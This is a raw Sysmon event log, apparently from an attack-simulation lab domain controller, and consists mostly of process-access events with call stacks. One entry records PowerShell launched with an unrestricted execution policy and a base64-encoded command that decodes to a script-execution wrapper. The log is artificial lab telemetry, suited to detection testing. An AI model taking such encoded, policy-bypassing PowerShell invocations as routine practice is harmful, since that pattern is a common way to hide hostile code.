09:08:41.455{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000231Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.455{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000230Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.455{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000229Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.455{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000228Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.455{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000227Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.455{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000226Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.455{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000225Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.455{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000224Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.455{A5F018FF-2724-5F80-0500-000000007E01}6402972C:\Windows\system32\csrss.exe{A5F018FF-2899-5F80-0203-000000007E01}4692C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000223Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.455{A5F018FF-2899-5F80-0103-000000007E01}29884920C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-2899-5F80-0203-000000007E01}4692C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+767f32ed(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75c94177(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75c93e48(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+767454ad(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75c549de(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75cb2ead(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75c96512(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75c96512(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75c963a3(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75c88328(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75c9485b(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75c9444e(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75c94177(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75c93e48(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+767454ad(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75c7aca9(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+75c7a279(wow64) 154100x8000000000000000222Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.459{A5F018FF-2899-5F80-0203-000000007E01}4692C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2899-5F80-038A-110000000000}0x118a030HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-2899-5F80-0103-000000007E01}2988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x8000000000000000221Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.408{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-2899-5F80-0103-000000007E01}2988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000220Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.408{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-2899-5F80-0103-000000007E01}2988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x8000000000000000219Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.362{A5F018FF-2899-5F80-0103-000000007E01}2988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_5qcnjpiq.4rk.ps12020-10-09 09:08:41.362 10341000x8000000000000000218Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.362{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2899-5F80-0103-000000007E01}2988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000217Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-2899-5F80-FF02-000000007E01}12403984C:\Windows\system32\conhost.exe{A5F018FF-2899-5F80-0103-000000007E01}2988C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000216Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000215Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000214Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 